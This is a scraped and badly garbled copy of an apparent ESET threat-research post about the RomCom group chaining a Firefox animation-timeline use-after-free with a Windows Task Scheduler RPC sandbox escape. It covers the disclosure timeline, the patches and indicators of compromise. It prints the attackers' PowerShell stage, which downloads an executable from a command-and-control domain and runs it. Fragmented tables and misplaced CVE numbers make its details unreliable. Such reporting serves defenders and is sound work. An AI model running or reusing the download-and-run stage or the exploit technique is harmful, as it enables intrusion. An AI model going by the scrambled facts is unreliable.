

RomCom Exploits Firefox & Windows Zero Days

Source: welivesecurity.com | ESET Research, October 2024 | TLP:WHITE

RomCom exploits Firefox and Windows zero days in the wild

RomCom exploits Firefox and Windows zero days in the wild

Damien Schaeffer

26 Nov 2024

,

ESET researchers discovered a previously unknown vulnerability in Mozilla products, exploited in the wild by Russia-aligned group RomCom. This is at least the second time that RomCom has been caught exploiting a significant zero-day vulnerability in the wild, after the abuse of

via Microsoft Word in

.

CVE-2024-9680

CVE-2024-49039

Key points of this blogpost:

th

Analysis of the exploit led to the discovery of the vulnerability, now assigned

: a use-after-free bug in the animation timeline feature in Firefox. Mozilla patched the vulnerability on October 9

, 2024.

CVE202449039

th

Successful exploitation attempts delivered the RomCom backdoor, in what looks like a widespread campaign.

RomCom (also known as Storm-0978, Tropical Scorpius, or UNC2596) is a Russia-aligned group that conducts both opportunistic campaigns against selected business verticals and targeted espionage operations. The group's focus has shifted to include espionage operations collecting intelligence, in parallel with its more conventional cybercrime operations. The backdoor used by the group is capable of executing commands and downloading additional modules to the victim's machine.

Table 1. RomCom victims in 2024

Purpose

Governmental entity in Ukraine

2024-01

Cybercrime

Legal sector in Germany

2024-03

Cybercrime

Defense sector in Ukraine

2024-08

Espionage

Governmental entities in Europe

2024-08

Unknown

Compromise chain

window.location.href

Figure 1. Exploit chain to compromise the victim

th

th

redir

red

Table 2. Fake servers redirecting to the exploit

Fake server

Redirect website purpose

redircorrectiv[.]com

Nonprofit independent newsroom.

devolredir[.]com

Remote access and password management solutions.

redirconnectwise[.]cloud

MSP technology and IT management software.

redjournal[.]cloud

If a victim using a vulnerable browser visits a web page serving this exploit, the vulnerability is triggered and shellcode is executed in a

. The shellcode is composed of two parts: the first retrieves the second from memory and marks the containing pages as executable, while the second implements a PE loader based on the open-source project

(RDI).

journalctd[.]live

correctiv[.]sbs

cwise[.]store

According to our telemetry, from October 10

, 2024 to November 4

, 2024, potential victims who visited websites hosting the exploit were located mostly in Europe and North America, as shown in Figure 2. The number of potential targets runs from a single victim per country to as many as 250, according to ESET telemetry.

th
1drv.us[.]com
use-after-free

Table 3. Files related to the exploit

Description
JavaScript file containing the exploit for versions of Firefox from to . JavaScript file containing the exploit for versions of Firefox from to . JavaScript file containing the exploit for Tor Browser versions and . JavaScript file used to generate a CAPTCHA. JavaScript file containing helper functions, e.g., to convert data types, or to get the OS type or browser version.
HTML loaded by the exploit to trigger the use-after-free vulnerability. HTML page loading the exploit and redirecting to a legitimate website after a few seconds. rd We reported the vulnerability to Mozilla shortly after discovery, with the following timeline of events: 2024-10-08: Vulnerability reported to Mozilla. 2024-10-09: assigned by Mozilla Corporation. Security Advisory 2024-51 2024-10-09: Vulnerability patched in Tor Browser with . release 6.8.1 2024-10-10: Vulnerability patched in Thunderbird, . Mozilla and the Tor Project released a patch that fixes the vulnerability in the following versions:

131.0.2

ESR 115.16.1

ESR 128.3.1

13.5.7

6.8.1

115.16

128.3.1

131.0.1

detailed analysis

th

Root cause analysis

main-<Firefox version>.js

iframe

animation0.html

div

target0

target3

getter

Object.prototype

then

Figure 3. The JavaScript exploit defines the
property's getter function on every object, triggering a use-after-free vulnerability
heap spraying

prepare

Animation

div

AnimationTimeline

Figure 4. The exploit code creates animation objects for
elements

test

ready

ready

Promise

then

2

anim0

div

rm0

null

heap feng shui

getInfo

In the meantime, as the

document is being refreshed, the

method of its

object is called periodically. As seen in Figure 5, this method iterates over the different animation objects present in the animation timeline and appends animations to be removed to a local array variable called

.

AnimationTimeline::Tick

animationsToRemove

Tick

Animation

handling a dangling pointer

Figure 6. Call stack of the animation being cancelled by the getter function called via the

method

Animation::PauseAt

The getter function calls

which in turn calls

. Then, the animation objects anim0 and anim1 are set to null in order for them to get freed. When AnimationTimeline::Tick then iterates over the array animationsToRemove (line 74 in Figure 5), AnimationTimeline::RemoveAnimation will manipulate a dangling pointer of an Animation object that was already removed, as shown in Figure 8.

AnimationTimeline::RemoveAnimation

After freeing the animations in the

function, the exploit proceeds with more heap management in order to control the objects that will replace the freed animations, and finally, the

function is called, as seen in Figure 9.

rm0

Without going into too much detail about the exploit code, its author abused

objects and their attributes as well as

objects to leak properties of the latter, as observed in Figure 10.

getInfo

ImageData

Then, the exploit code proceeds to manipulate

objects so as to leak the address of an arbitrary JavaScript object (known as an

primitive) and abuse the Firefox JIT compiler to execute the first shellcode component in the context of a content process, as illustrated in Figure 11. This technique is explained in great detail in this

.

Mozilla

in Firefox

, Firefox ESR

, and Firefox ESR

on October 9

, 2024. Essentially, the pointers to the animation objects handled by the timeline are now implemented through reference-counting pointers (

), as suggested by the

, which prevents the animations from being freed, since

will still hold a reference to them.

Both shellcodes are stored in the JavaScript exploit file

. The first one is dynamically created as an array of float numbers while the second one is stored as a huge array of bytes.

This first shellcode simply retrieves the second shellcode by searching in memory for a hardcoded magic value of

, changes its memory protection to read-write-execute (RWX), and executes the code located at this address.

This second shellcode is the compiled version of the

project, which enables a DLL to be loaded. The constants used in the shellcode were not changed by the threat actor (see

vs. the constants shown in Figure 12).

The shellcode simply loads an embedded library whose sole purpose is to escape the restrictions of Firefox's sandboxed content process.

The loaded library (SHA1:

), named

by its developers and compiled on October 3

, 2024, implements a sandbox escape from the untrusted process level of the content process to a medium level. Essentially, the library makes use of an undocumented RPC endpoint, which should not have been callable from an untrusted process level, to launch a hidden PowerShell process that downloads a second stage from a C&C server.

2024-10-08: As part of our initial report to Mozilla for CVE-2024-9680, we also provided what we believed to be a sandbox escape.

2024-11-12: Microsoft released an advisory for

and its corresponding patch through the update

. The vulnerability was also independently found by Vlad Stolyarov and Bahare Sabouri of Google's Threat Analysis Group, as mentioned in

.
The sandbox escape code resides in the relatively small main function of the library. It makes use of an undocumented RPC endpoint, as illustrated in Figure 13.

PocLowIL

The function proceeds to populate undocumented structures and calls

three times. The first parameter passed to this function,

, is a

structure whose

member points to an interface identified by the GUID

. This interface is implemented in the Windows library

, loaded by

, hosted in the process of the task scheduler service (

).

s_TaskSchedulerCreateSchedule

s_TaskSchedulerDeleteSchedule

Using

and after partially reversing some structures, we figured out the main structures, as illustrated in Figure 14.

After applying these structures in IDA Pro, we obtained a clearer overview of the task, as seen in Figure 15.

Based on the code, the malicious library creates a scheduled task that will run an arbitrary application at medium integrity level, allowing the attackers to elevate their privileges on the system and break out of the sandbox. This is possible due to the lack of restrictions imposed on the

applied to the RPC interface during its creation, as illustrated in Figure 16.

The renamed variable

, used when

is called, has the following value:

. According to the

(SDDL), it allows everyone (WD) to communicate with the RPC interface and call its procedures regardless of their integrity level.

In this case, the threat actor created a task named

that will launch

in headless mode in order to

. The deobfuscation of the rest of the command line (shown in Figure 15) revealed the PowerShell code seen in Figure 17.

Invoke-WebRequest https://journalctd[.]live/JfWb4OrQPLh -o \$a;

Rename-Item \$a (\$a = (\$a + '.exe')) # \$env:public\public.exe

sleep 10;

Start-Process \$a

An executable is downloaded from

, stored in the

folder as

, and run. After 10 seconds, it is renamed as

and run again.

The patched version of

(version

) released with

makes use of a more complicated security descriptor, as shown in Figure 18.

The new security descriptor is:

Breaking down the string reveals the following restriction logic:

SY

LS

the network service (

) account and interactive users (

) are granted only read access,

ME

The new restrictions imposed by the updated security descriptor prevent the privilege escalation and render the sandbox escape code obsolete.

Chaining together two zero-day vulnerabilities armed RomCom with an exploit that requires no user interaction. This level of sophistication shows the threat actor's will and means to obtain or develop stealthy capabilities. ESET shared detailed findings with Mozilla, following our coordinated vulnerability disclosure process shortly after discovery. Mozilla released a

about how they reacted to the disclosure and were able to release a fix within 25 hours, which is very impressive in comparison to industry standards.

threatintel@eset.com

ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the [page](#).

A comprehensive list of indicators of compromise and samples can be found in

.

SHA-1

Detection

A4AAD0E2AC1EE0C8DD25

utils.js

RomCom Firefox exploit.

9434BA8C21832E77A031

JS/Exploit.Agent.NSE

21918CFD17B378EB4152

main-128.js

RomCom Firefox exploit.

4D16A048344C55DC89FD

JS/Exploit.Agent.NSE

ABB54C4751F97A9FC1C9

PocLowIL.dll

RomCom Firefox sandbox escape.

385264D4B1B95947ADD5

Win64/Runner.AD

Network

Domain

First seen

194.87.189[.]171

[.]live

2024-10-08

178.236.246[.]241

[.]sbs

2024-10-09

62.60.238[.]81

[.]store

2024-10-15

147.45.78[.]102

[.]com

2024-10-10

46.226.163[.]67

[.]com

2024-10-14

62.60.237[.]116

[.]cloud

2024-10-15

62.60.237[.]38

[.]cloud

2024-10-16

194.87.189[.]19

[.]com

2024-10-08

45.138.74[.]238

[.]cloud

2024-10-16

176.124.206[.]88

AEZA INTERNATIONAL LTD

RomCom second-stage C&C server.

This table was built using

of the MITRE ATT&CK framework

Tactic

Name

Resource Development

Acquire Infrastructure

T1587.001

RomCom develops malware in multiple programming languages.

Develop Capabilities: Exploits

T1588.003

RomCom obtains valid code-signing certificates to sign its malware.

Obtain Capabilities: Exploits

T1588.006

RomCom may obtain information about vulnerabilities it uses for targeting victims.

Stage Capabilities

Initial Access

Drive-by Compromise

Execution

Scheduled Task/Job: Scheduled Task

Persistence

Event Triggered Execution: Component Object Model Hijacking

explorer.exe

wordpad.exe

Privilege Escalation

Exploitation for Privilege Escalation

Defense Evasion

Debugger Evasion

T1480

The RomCom backdoor checks whether the system state is suitable for execution.

Obfuscated Files or Information: Fileless Storage

T1553.002

The RomCom backdoor weakens security mechanisms by using trusted code-signing certificates.

T1555.003

The RomCom backdoor collects passwords, cookies, and sessions using a browser stealer module.

Unsecured Credentials: Credentials In Files

Discovery

Account Discovery

T1518

The RomCom backdoor collects information about installed software and versions.

System Location Discovery

Lateral Movement

Remote Services